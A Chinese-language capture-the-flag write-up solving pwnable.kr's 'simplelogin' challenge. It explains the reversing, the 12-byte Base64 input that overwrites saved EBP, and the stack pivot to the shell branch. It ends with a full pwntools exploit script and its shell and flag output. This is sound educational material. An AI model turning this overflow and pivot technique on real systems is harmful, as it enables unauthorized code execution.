Can you get authentication from this server?
Download : http://pwnable.kr/bin/login
Running at : nc pwnable.kr 9003
Rookiss 初体验就从相对熟悉的逆向这一块开始好了。
下载好文件后发现是 elf 64 ，在虚拟机上简单跑一跑，要求输入一个 Authenticate ，程序会返回一个 hash 值，猜测是登录验证需要验证 hash，随即猜测正常流程应该走不通。而 romote host 又无法实现爆破，再猜测是需要溢出 :P
然后到物理机用 IDA 直接静态分析程序流程，茫茫多的静态模块....
不过还好程序流程并不复杂，粗略看了 IDA 的流程分析后，可以直接在程序入口处 F5， F4， F3；当前也可以直接看！
分析程序流程的过程无法用简单的语言描述， 反正看就是了。
笔者通过 IDA 插件转化的伪代码和汇编指令结合分析执行流程。
main 函数的 Snowman F3 插件转换的伪代码如下：
int32_t main() {
void** esp1;
int32_t v2;
int32_t eax3;
int32_t eax4;
void* esp5;
void** esp6;
uint32_t eax7;
int32_t eax8;
esp1 = (void**)(((uint32_t)((int32_t)"zero stack offset"() - 4) & 0xfffffff0) - 64);
memset((uint32_t)esp1 + 30, 0, 30, v2);
eax3 = g811b860;
setvbuf(eax3, 0, 2, 0);
eax4 = g811b864;
setvbuf(eax4, 0, 1, 0);
printf("Authenticate : ", 0, 1, 0);
esp5 = (void*)(esp1 - 1 + 1 - 1 + 1 - 1 + 1 - 1 + 1);
__isoc99_scanf("%30s", (uint32_t)esp5 + 30, 1, 0);
memset(0x811eb40, 0, 12, 0);
esp6 = (void**)((uint32_t)esp5 - 4 + 4 - 4 + 4);
eax7 = Base64Decode((uint32_t)esp6 + 30, esp6 + 6, 12, 0);
if (eax7 > 12) {
puts("Wrong Length", esp6 + 6, 12, 0);
} else {
memcpy(0x811eb40, 0, eax7, 0);
eax8 = auth(eax7, 0, eax7, 0);
if (eax8 == 1) {
correct(eax7, 0, eax7, 0);
}
}
return 0;
}
分析得到程序的大致执行流程如下：
- main 函数执行输入 Authenticate
- Authenticate 由 Base64 解码后判断长度是否大于12，大于则提示 Wrong Length
- 输入长度合理将解码后的字串用 memcpy 函数存入0x8114b40处
- 之后转入 auth 函数，参数中包含解码后的字串和其长度
- auth 函数通过 memcpy 复制内容到一个 int 类型的局部变量中
- 计算参数的 md5 hash 并与 f87cd601aa7fedca99018a8be88eda34 相比较
- 比较结果如果为相等，则返回 true，否则返回 false
- 返回 main 函数，判断 auth 函数的返回值
- 如果 auth 返回 false，则程序退出
- 如果 auth 返回 true ，进入correct 函数
- 判断地址 0x811eb40 处前 8 个字节是否为 0xdeadbeef，若是，则输出成功信息并得到 shell ；否则退出程序
简单分析完毕后差不多就有一点思路了，正常流程既要验证 hash，前8个字节又要固定，基本是不可能的。
这里主要还是要利用栈溢出。溢出的点自然是在auth 函数调用的 memcpy 这里了。为了准确性这里直接分析该位置的汇编代码：
可以看到在 call memcpy mem(des, src, len) ，上方依次压入了三个参数（从右到左），分别是 len ，src，des。通过计算 0Ch + var_14 = 0Ch - 14h = -8，可知 des 的地址在 ebp 的上方（低地址处），偏移为 8 字节，而我们最多可输入 12 字节的内容，所以当输入 12 字节时，ebp 会被淹没。故而可以通过控制 ebp 的值来控制程序流程。
auth 返回处的汇编代码如下：
.text:0804930B leave
.text:0804930C retn
这两个指令可以转化为
mov esp, ebp ；esp的内容为ebp指向的栈地址
pop ebp ；ebp = ebp指向的栈地址中保存的值，esp + 4
pop eip ；程序转到 esp + 4 指向的地址执行
在这个程序中，只有输入的字串 Authenticate 是完全由我们控制的，设这里 Authenticate 经过 Base64 解码后为 playload。
那么第一次 leave retn 执行结束后，ebp = 淹没的 4 字节数据，即 playload 的最后 4 个字节内容；
第二次 leave retn 执行结束时，执行 mov esp, ebp 使得 esp 为 playload 最后 4 个字节的值，两次pop 后，得到 eip = playload 最后 4 个字节的值 + 4 的空间中保存的值。
接下来的问题是怎么构造 playload。由于 playload 为 12 字节，而这里淹没的数据块和劫持流程的地址加起来为 8 字节，所以这里 playload 很好地满足跳板的要求。
这里我们构造 playload 最后 4 个用来淹没 ebp 的字节值为 playload 的起始地址；中间 4 个字节的值就可以传递到 eip 来控制程序流程，头 4 个字节作为长度填充（当然也可以在 playload 前 8 个字节中任选4字节位置放入需要传递给 eip 的值，最后 4 字节的值为所需 eip 的值的地址 - 4 即可，其他 4 字节内容作为填充）。
中间的 4 个字节比较好分析，直接到 correct 函数的输出成功信息处：（跳过前4个字节的验证）
可以看到需要劫持程序前往的地址为0x08049278。
最后还需要去找 playload 的起始地址，最简单的方法就是在 IDA input offset 处双击即可看到：
可以看到 playload 的起始地址为 0x0811EB40。
终于可以写 exploit 了！填充内容是什么无关紧要，本着尊敬题目的原则，playload起始 4 字节的内容在这里还是根据 '0xdeadbeef' 来进行 Base64 加密，用 pwntools 构造 exploit如下：
from pwn import *
FILL = 0xdeadbeef
SHELL = 0x08049278
BUF = 0x0811EB40
HOST = "pwnable.kr"
PORT = 9003
loginer = remote(HOST, PORT)
playload = (p32(FILL) + p32(SHELL) + p32(BUF)).encode("base64")
loginer.recvuntil("Authenticate :")
loginer.sendline(playload)
loginer.interactive()
loginer.close()
不出意外地得到了 shell：
$ python exploit_login.py
[+] Opening connection to pwnable.kr on port 9003: Done
[*] Switching to interactive mode
hash : b307a813333efb8b1a35c6e5b5cbbabe
Congratulation! you are good!
$ ls -l
total 7852
-r--r----- 1 root simplelogin 58 Jun 10 2014 flag
-rw------- 1 root root 7070263 Mar 23 07:26 log
-r-xr-x--- 1 root simplelogin 955184 Jun 10 2014 simplelogin
-rwx------ 1 root root 784 Oct 23 07:43 super.pl
$ cat flag
control EBP, control ESP, control EIP, control the world~
正如 flag 说的，溢出的核心在我看来就是利用程序的某个漏洞找到跳板，绕过程序的各个验证机制，逐步劫持执行流程的过程。
切莫贪食，切莫不食。路还很长。
ELF 文件的逆向往往不像 PE 一般可以通过一些强大的 debugger 像 OllyDbg 和 WinDbg一样可以很简洁明了地进行调试，但也可以通过一些调试工具如 gdb 等进行动态分析。笔者在分析这题的 elf64 文件时就用到了 IDA 的远程动态调试功能 Remote Linux Debugger 来分析 ebp 被淹没后程序的执行流程，简单的搭建和操作之后会有介绍。
